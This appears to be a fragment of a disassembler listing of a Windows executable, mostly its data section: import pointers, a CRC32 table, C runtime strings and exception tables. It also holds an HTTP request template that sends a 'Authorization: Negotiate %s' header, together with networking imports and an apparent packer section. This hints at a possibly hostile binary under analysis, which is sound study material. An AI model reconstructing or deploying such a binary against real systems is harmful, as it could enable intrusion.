loc_4202C8: ; DATA XREF: sub_41FE98o
mov eax, offset dword_422000
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202DC: ; DATA XREF: sub_41FEF1o
mov eax, offset dword_422028
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202F0: ; DATA XREF: sub_41FF4Eo
mov eax, offset dword_422050
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420304: ; DATA XREF: sub_41FFDCo
mov eax, offset dword_4220B8
jmp loc_416113
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_420318: ; DATA XREF: sub_420036o
mov eax, offset dword_4220E0
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
dd 337h dup(0)
dword_421000 dd 77E7FF65h ; DATA XREF: sub_40A6A8+5Ar
dword_421004 dd 77E6BD68h ; DATA XREF: sub_41FAC2+173r
dword_421008 dd 77E77F2Eh ; DATA XREF: sub_41F845+3Er
; sub_41F845+261r
dword_42100C dd 77E762D0h ; DATA XREF: sub_41F845+5Br
; sub_41F845+B9r
dword_421010 dd 77E70192h ; DATA XREF: sub_41E84C+F9r
dword_421014 dd 77E7176Ch ; DATA XREF: sub_41DF9E+8r
dword_421018 dd 77E7339Ch ; DATA XREF: sub_41DF66+Cr
dword_42101C dd 77E7C9E7h ; DATA XREF: sub_41DF48+5r
; sub_41DF59+6r
dword_421020 dd 77E73FF9h ; DATA XREF: sub_41D503+2Cr
dword_421024 dd 77E7FF2Eh ; DATA XREF: sub_41D3D5:loc_41D425r
; sub_41D44C:loc_41D49Fr
dword_421028 dd 77E7C866h ; DATA XREF: sub_41D1F7+3Fr
; sub_41D1F7+12Dr
dword_42102C dd 77E641EBh ; DATA XREF: sub_41D1F7+59r
; sub_41D1F7+8Dr
dword_421030 dd 77E78406h ; DATA XREF: sub_41CC52+FFr
; sub_41CC52+166r ...
dword_421034 dd 77E79C3Dh ; DATA XREF: sub_41CC52+158r
; sub_41CF19+143r
dword_421038 dd 77E7C931h ; DATA XREF: sub_41CC52+19Dr
dword_42103C dd 77E77EE1h ; DATA XREF: sub_41CB20+9r
dword_421040 dd 77E67702h ; DATA XREF: sub_41CB20:loc_41CB4Fr
; sub_41CB20+E1r
dword_421044 dd 77E7C9E1h ; DATA XREF: sub_41CB20+CEr
dword_421048 dd 77E73C49h ; DATA XREF: sub_401000+AAr
; sub_401447+95r ...
dword_42104C dd 77E7751Ah ; DATA XREF: sub_401000+27r
; sub_401447+1A6r ...
dword_421050 dd 77E802FCh ; DATA XREF: sub_4010B2+18Cr
; sub_4010B2+2D4r ...
dword_421054 dd 77E6D75Bh ; DATA XREF: sub_4010B2+182r
; sub_4018CA+FFr
dword_421058 dd 77E704FCh ; DATA XREF: sub_40211A+20r
; sub_40AAD1+183r ...
dword_42105C dd 77E70F89h ; DATA XREF: sub_40211A+Er
; sub_40B16D+Dr ...
dword_421060 dd 77E61BE6h ; DATA XREF: sub_4021FB+5Dr
; sub_40283D+E3r ...
dword_421064 dd 77E77CCEh ; DATA XREF: sub_402FDD+66r
; sub_4030C0+65r ...
dword_421068 dd 77E78B82h ; DATA XREF: sub_4033CB+135r
; sub_406A32+80r ...
dword_42106C dd 77E77963h ; DATA XREF: sub_4033CB+120r
; sub_4033CB+150r ...
dword_421070 dd 77E79D8Ch ; DATA XREF: sub_4033CB+103r
; sub_409E15+AEr ...
dword_421074 dd 77E73EACh ; DATA XREF: sub_4033CB+E9r
dword_421078 dd 77E7A837h ; DATA XREF: sub_4033CB+68r
; sub_406100+1C4r ...
dword_42107C dd 77E7A099h ; DATA XREF: sub_405A89+18r
; sub_407276+58r ...
dword_421080 dd 77E64106h ; DATA XREF: sub_405F7E+9Fr
; sub_40AAD1+1B6r
dword_421084 dd 77E64006h ; DATA XREF: sub_405F7E+8Br
; sub_40AAD1+19Fr
dword_421088 dd 77F5157Dh ; DATA XREF: sub_406100+282r
; sub_407276:loc_4073B2r ...
dword_42108C dd 77E7AC37h ; DATA XREF: sub_406100+24Dr
; sub_407276+10Er ...
dword_421090 dd 77E793EFh ; DATA XREF: sub_406100+1EEr
; sub_406A32+38r ...
dword_421094 dd 77E74CABh ; DATA XREF: sub_406100+110r
; sub_409E15+10Fr ...
dword_421098 dd 77E78EAAh ; DATA XREF: sub_4063B0+5E8r
; sub_4088A0+C0r ...
dword_42109C dd 77E79424h ; DATA XREF: sub_4063B0+27Br
dword_4210A0 dd 77E794BFh ; DATA XREF: sub_4063B0+26Dr
dword_4210A4 dd 77E75E67h ; DATA XREF: sub_4063B0+20Dr
; sub_4063B0+5D7r ...
dword_4210A8 dd 77E75D9Eh ; DATA XREF: sub_4063B0+1FCr
; sub_4088A0+26r
dword_4210AC dd 77E78C81h ; DATA XREF: sub_406A32+6Cr
; sub_40B712+259r ...
dword_4210B0 dd 77F7E300h ; DATA XREF: sub_40778B+13Fr
dword_4210B4 dd 77F7E21Fh ; DATA XREF: sub_40778B+D4r
dword_4210B8 dd 77E7C706h ; DATA XREF: sub_40799F+77r
dword_4210BC dd 77F53275h ; DATA XREF: sub_40799F+6Br
; sub_40799F+22Fr
dword_4210C0 dd 77E805D8h ; DATA XREF: sub_4089F2+13Ar
; sub_4089F2:loc_408EE2r ...
dword_4210C4 dd 77E7A5FDh ; DATA XREF: sub_4089F2+11r
; sub_419EEF+15r ...
dword_4210C8 dd 77E79F93h ; DATA XREF: sub_4089F2+2r
; sub_409E15+FBr ...
dword_4210CC dd 77E76A60h ; DATA XREF: sub_409C08+2Dr
dword_4210D0 dd 77E71B14h ; DATA XREF: sub_409C92+26r
dword_4210D4 dd 77E7166Fh ; DATA XREF: sub_409C92+1Dr
dword_4210D8 dd 77E75090h ; DATA XREF: sub_409CCD+69r
dword_4210DC dd 77E74D76h ; DATA XREF: sub_409CCD+36r
dword_4210E0 dd 77E77797h ; DATA XREF: sub_409CCD+25r
dword_4210E4 dd 77E7011Ah ; DATA XREF: sub_409D4F+96r
dword_4210E8 dd 77E73CE2h ; DATA XREF: sub_409D4F+60r
dword_4210EC dd 77E61BB8h ; DATA XREF: sub_409E15+17Er
; sub_409F9D+B4r ...
dword_4210F0 dd 77E668D9h ; DATA XREF: sub_409E15+15Dr
dword_4210F4 dd 77E70396h ; DATA XREF: sub_409E15+126r
; sub_40C682+1BFr ...
dword_4210F8 dd 77E6AD34h ; DATA XREF: sub_409E15+35r
; sub_40CE55+3D2Fr
dword_4210FC dd 77EB7624h ; DATA XREF: sub_40A6A8+3Dr
dword_421100 dd 77E79CE3h ; DATA XREF: sub_40A7FD+91r
dword_421104 dd 77E79C90h ; DATA XREF: sub_40A7FD+79r
; sub_413D67+Cr ...
dword_421108 dd 77E7727Ah ; DATA XREF: sub_40A7FD+3Br
dword_42110C dd 77E7C657h ; DATA XREF: sub_40AAD1+24r
; .nsp0:004142A7r
dword_421110 dd 77E76C1Ah ; DATA XREF: sub_40AAD1+1CFr
dword_421114 dd 77E75CB5h ; DATA XREF: sub_40BCEF+478r
; sub_40C59A+DFr ...
dword_421118 dd 77E73628h ; DATA XREF: sub_40C682+333r
; sub_40CE55+473Er ...
dword_42111C dd 77E706B7h ; DATA XREF: sub_40C682+26Fr
; sub_413DD2+175r ...
dword_421120 dd 77E80656h ; DATA XREF: sub_40C682+262r
dword_421124 dd 77E6BD13h ; DATA XREF: sub_40C682:loc_40C847r
dword_421128 dd 77E79D5Bh ; DATA XREF: sub_40C682+75r
; sub_40C682+309r
dword_42112C dd 77E7C2C4h ; DATA XREF: sub_40C682+6Er
dword_421130 dd 77E75CEBh ; DATA XREF: sub_40CE55+4986r
; sub_4150CE+2Br
dword_421134 dd 77E71AFEh ; DATA XREF: sub_40CE55+3B20r
dword_421138 dd 77E79924h ; DATA XREF: sub_41328A+13r
; sub_41BD71+20Dr ...
dword_42113C dd 77E65F4Ch ; DATA XREF: sub_413CA9+34r
; .nsp0:0041419Cr
dword_421140 dd 77E616B4h ; DATA XREF: sub_413DD2+184r
; sub_414061+1Fr ...
dword_421144 dd 77E7513Ch ; DATA XREF: .nsp0:00414233r
dword_421148 dd 77E6C29Dh ; DATA XREF: sub_4149DE+1EBr
dword_42114C dd 77F516F8h ; DATA XREF: sub_415E07+2Er
; sub_4174DF+AFr ...
dword_421150 dd 77F51597h ; DATA XREF: sub_415E3D+27r
; sub_418B28+2C4r ...
dword_421154 dd 77F6183Eh ; DATA XREF: sub_42010Cr
dword_421158 dd 77E76E3Dh ; DATA XREF: sub_416AD4+6Cr
; sub_41E162+38r
dword_42115C dd 77E61608h ; DATA XREF: sub_416AD4+17r
dword_421160 dd 77F5722Fh ; DATA XREF: sub_4174DF+F0r
; sub_41915C+28r
dword_421164 dd 77E6177Ah ; DATA XREF: sub_417AF8+9Fr
; sub_41CC52+59r
dword_421168 dd 77E7C938h ; DATA XREF: sub_417AF8+74r
dword_42116C dd 77E7C486h ; DATA XREF: sub_417AF8+26r
dword_421170 dd 77E76E0Bh ; DATA XREF: sub_418A83+2Fr
dword_421174 dd 77E7C726h ; DATA XREF: sub_418A83+11r
dword_421178 dd 77E79E34h ; DATA XREF: sub_418B28+23Fr
dword_42117C dd 77E7980Ah ; DATA XREF: sub_41915C+76r
; sub_41920D+51r
dword_421180 dd 77E73196h ; DATA XREF: sub_41DF82+Cr
dword_421184 dd 77E6D706h ; DATA XREF: sub_4196E9+215r
; sub_420209+2Er
dword_421188 dd 77F522F2h ; DATA XREF: sub_41AC48+21r
dword_42118C dd 77E77405h ; DATA XREF: sub_41BD71+5Er
; sub_41BD71+A7r
dword_421190 dd 77E781F9h ; DATA XREF: sub_41BD71+42r
; sub_41BD71+14Dr ...
dword_421194 dd 77E7849Fh ; DATA XREF: sub_41BFC0+48r
; sub_41C1FF+14r ...
dword_421198 dd 77E7A13Fh ; DATA XREF: sub_41C159+2Fr
dword_42119C dd 77E6C703h ; DATA XREF: sub_41C159+1Ar
dword_4211A0 dd 77EB9A84h ; DATA XREF: sub_41C63E+138r
dword_4211A4 dd 77E9C5B1h ; DATA XREF: sub_41CB20+11Fr
dd 0
dword_4211AC dd 71AB1836h ; DATA XREF: sub_405A0C+6Er
; sub_405A89+8Er
dword_4211B0 dd 71AB41DAh ; DATA XREF: sub_405409+47r
; sub_405A0C+15r
dword_4211B4 dd 71AB3F8Dh ; DATA XREF: sub_405409+8Dr
dword_4211B8 dd 71AB155Ah ; DATA XREF: sub_405409+9Dr
dword_4211BC dd 71AB3ECEh ; DATA XREF: sub_405409+C4r
dword_4211C0 dd 71AB5DE2h ; DATA XREF: sub_405409+D8r
dword_4211C4 dd 71AB868Dh ; DATA XREF: sub_405409+180r
dword_4211C8 dd 71AB2BBFh ; DATA XREF: .nsp0:0040530Cr
dword_4211CC dd 71AB8629h ; DATA XREF: .nsp0:004053F5r
dword_4211D0 dd 71AB1890h ; DATA XREF: sub_40446E+4Cr
; sub_405409+115r
dword_4211D4 dd 71AB1B7Bh ; DATA XREF: sub_420106r
dword_4211D8 dd 71AB12F8h ; DATA XREF: sub_40283D+27r
; sub_402DDD+2Ar ...
dword_4211DC dd 71AB1746h ; DATA XREF: sub_40283D+37r
; sub_402988+EDr ...
dword_4211E0 dd 71AB3C22h ; DATA XREF: sub_40283D+46r
; sub_402DDD+49r ...
dword_4211E4 dd 71AB3E5Dh ; DATA XREF: sub_40283D+61r
; sub_402DDD+64r ...
dword_4211E8 dd 71AB5690h ; DATA XREF: sub_40283D+7Er
; sub_40283D+135r ...
dword_4211EC dd 71AB1AF4h ; DATA XREF: sub_40283D+D1r
; sub_402988+26Br ...
dword_4211F0 dd 71AB1A6Dh ; DATA XREF: sub_40283D+13Er
; sub_402DDD+154r ...
align 8
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_421238 dq 1.388888888888889e-2 ; DATA XREF: sub_40465E+2Fr
dbl_421240 dq 1.666666666666667e-1 ; DATA XREF: sub_40465E+15r
dword_421248 dd 0FFFFFFFFh ; DATA XREF: sub_4046AA+16Fr
; sub_404B1Er ...
align 10h
dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_4046AA+79r
dword_421258 dd 0 ; DATA XREF: sub_40484C+4Do
; sub_404BCE+5Bo ...
dword_42125C dd 0 ; DATA XREF: sub_40B41E+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 0
dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BCEF+2BDr
; sub_40BCEF+2D8r ...
dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_414098+1Er
dbl_421670 dq 1.0 ; DATA XREF: sub_415E6C+6Cr
; sub_415FB3+6Cr ...
dword_421678 dd 0FFFFFFFFh, 417BCFh, 417BE3h ; DATA XREF: sub_417AF8+5o
byte_421684 db 6 ; DATA XREF: sub_417D4C:loc_417DA3r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_437D6Co
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_437D68o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_437F94o
align 10h
dbl_4217B0 dq 0.0 ; DATA XREF: sub_41999C+8Cr
; sub_41999C+ACr ...
dbl_4217B8 dq 4.195835e6 ; DATA XREF: sub_419EB1+Fr
dbl_4217C0 dq 3.145727e6 ; DATA XREF: sub_419EB1+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419EEFo
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_41A016+93o
align 4
dword_4217F8 dd 0FFFFFFFFh, 41A701h, 41A70Bh, 0 ; DATA XREF: sub_41A69A+5o
dword_421808 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41A7C9+5o
dd offset loc_41A887
align 8
dd offset sub_41A865
dd offset sub_41A86F
dword_421820 dd 0FFFFFFFFh, 41AAB7h, 41AABBh, 0 ; DATA XREF: sub_41A8FF+5o
dword_421830 dd 0FFFFFFFFh, 41AB19h, 41AB22h, 0 ; DATA XREF: sub_41AAC3+5o
dword_421840 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41AB9C+5o
dd offset loc_41ABED
align 10h
dd offset loc_41ABD9
dd offset loc_41ABDD
dword_421858 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41ABF2+5o
dd offset loc_41AC43
align 8
dd offset loc_41AC2F
dd offset loc_41AC33
dword_421870 dd 2 dup(0) ; DATA XREF: sub_41BD71+36o
; sub_41D1F7+39o ...
dword_421878 dd 0FFFFFFFFh, 41BE81h, 41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h
; DATA XREF: sub_41BD71+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_4383DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o
align 10h
asc_421B40 db 0Ah ; DATA XREF: sub_41CF19+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41CF19+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do
align 10h
dword_421B80 dd 0FFFFFFFFh, 41D2F0h, 41D2F4h ; DATA XREF: sub_41D1F7+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41E162+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E6EE+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E6EE+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F004:loc_41F0F9o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41F004+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41F004+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F004+ADo
align 10h
dword_421C20 dd 0FFFFFFFFh, 41F9FCh, 41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh
; DATA XREF: sub_41F845+5o
dd 421D40h
off_421C3C dd offset loc_41FFA8 ; DATA XREF: sub_41FDB0+4Do
; sub_41FFC4+Co
dd offset sub_41FE6E
dd offset sub_41FF8B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_41FDB0+1Eo
dd offset dword_421D78
off_421C5C dd offset loc_41FED5 ; DATA XREF: sub_41FE0A+4Eo
; sub_41FE98+11o ...
dd offset sub_41FE6E
dd offset sub_41FE7B
dd offset dword_421DC8
off_421C6C dd offset loc_420090 ; DATA XREF: sub_41FFDC+4Do
; sub_4200AC+Co
dd offset sub_41FE6E
dd offset sub_420073
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo
dd offset dword_421DF8
off_421C94 dd offset sub_420112 ; DATA XREF: sub_42012E+8o
; sub_42016B+8o ...
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1, 42h, 0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .nsp0:004201D2o
align 10h
dd offset dword_421E40
off_421CB4 dd offset loc_4201ED ; DATA XREF: sub_4201D8o
; .nsp0:off_438B00o ...
dword_421CB8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420209+Eo
dd 3, 19930520h, 2 dup(0)
off_421CD8 dd offset off_438B00 ; DATA XREF: .nsp0:00421D28o
; .nsp0:00421D5Co ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_421CF0 dd offset off_438B18 ; DATA XREF: .nsp0:00421D24o
; .nsp0:00421D58o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_421D08 dd offset off_438B38 ; DATA XREF: .nsp0:00421D20o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D08
dd offset off_421CF0
dd offset off_421CD8
dword_421D2C dd 3 dup(0) ; DATA XREF: .nsp0:00421D50o
dd 3, 421D20h, 3 dup(0)
dd offset off_438B38
dd offset dword_421D2C+4
align 8
dd offset off_421CF0
dd offset off_421CD8
dword_421D60 dd 4 dup(0) ; DATA XREF: .nsp0:00421D88o
dd 2, 421D58h
dword_421D78 dd 3 dup(0) ; DATA XREF: .nsp0:00421C58o
dd offset off_438B18
dd offset dword_421D60+8
align 10h
off_421D90 dd offset off_438B58 ; DATA XREF: .nsp0:00421DA8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D90
dd offset off_421CF0
dd offset off_421CD8
dd 0
db 0 ; DATA XREF: .nsp0:00421DD8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 421DA8h
dword_421DC8 dd 3 dup(0) ; DATA XREF: .nsp0:00421C68o
dd offset off_438B58
dd offset unk_421DB8
dd offset off_421CD8
dword_421DE0 dd 4 dup(0) ; DATA XREF: .nsp0:00421E08o
dd 1, 421DDCh
dword_421DF8 dd 3 dup(0) ; DATA XREF: .nsp0:00421C90o
dd offset off_438B00
dd offset dword_421DE0+8
align 10h
off_421E10 dd offset off_438B78 ; DATA XREF: .nsp0:00421E28o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421E10
dword_421E2C dd 3 dup(0) ; DATA XREF: .nsp0:00421E50o
dd 1, 421E28h
dword_421E40 dd 3 dup(0) ; DATA XREF: .nsp0:00421CB0o
dd offset off_438B78
dd offset dword_421E2C+4
align 8
dword_421E58 dd 19930520h, 2, 421E78h, 5 dup(0) ; DATA XREF: .nsp0:loc_420263o
dd 0FFFFFFFFh, 42024Ch, 0
dd offset sub_420244
dword_421E88 dd 19930520h, 2, 421EA8h, 5 dup(0) ; DATA XREF: .nsp0:loc_420280o
dd 0FFFFFFFFh, 420270h, 0
dd offset loc_420278
dword_421EB8 dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3 dup(0)
; DATA XREF: .nsp0:loc_42028Co
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 421F00h, 4 dup(0)
dd offset loc_404E38
dd 0
dd offset off_438B00
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 42016Bh, 2 dup(0)
dd offset off_438B18
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41FEF1h, 2 dup(0)
dd offset off_438B38
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41FFC4h, 0
dword_421F70 dd 3, 421F50h, 421F30h, 421F10h ; DATA XREF: .nsp0:00421F8Co
dword_421F80 dd 0 ; DATA XREF: sub_41FDB0+47o
; sub_41FF8B+12o
dd offset sub_41FF4E
dd 0
dd offset dword_421F70
dword_421F90 dd 19930520h, 1, 421FB0h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202A0o
dd 0FFFFFFFFh, 420298h
dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202B4o
dword_421FD8 dd 0FFFFFFFFh, 4202ACh, 2, 421F30h, 421F10h, 0 ; DATA XREF: .nsp0:00421FFCo
dword_421FF0 dd 0 ; DATA XREF: sub_41FE7B+12o
dd offset sub_41FE98
dd 0
dd offset dword_421FD8+8
dword_422000 dd 19930520h, 1, 422020h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202C8o
dd 0FFFFFFFFh, 4202C0h
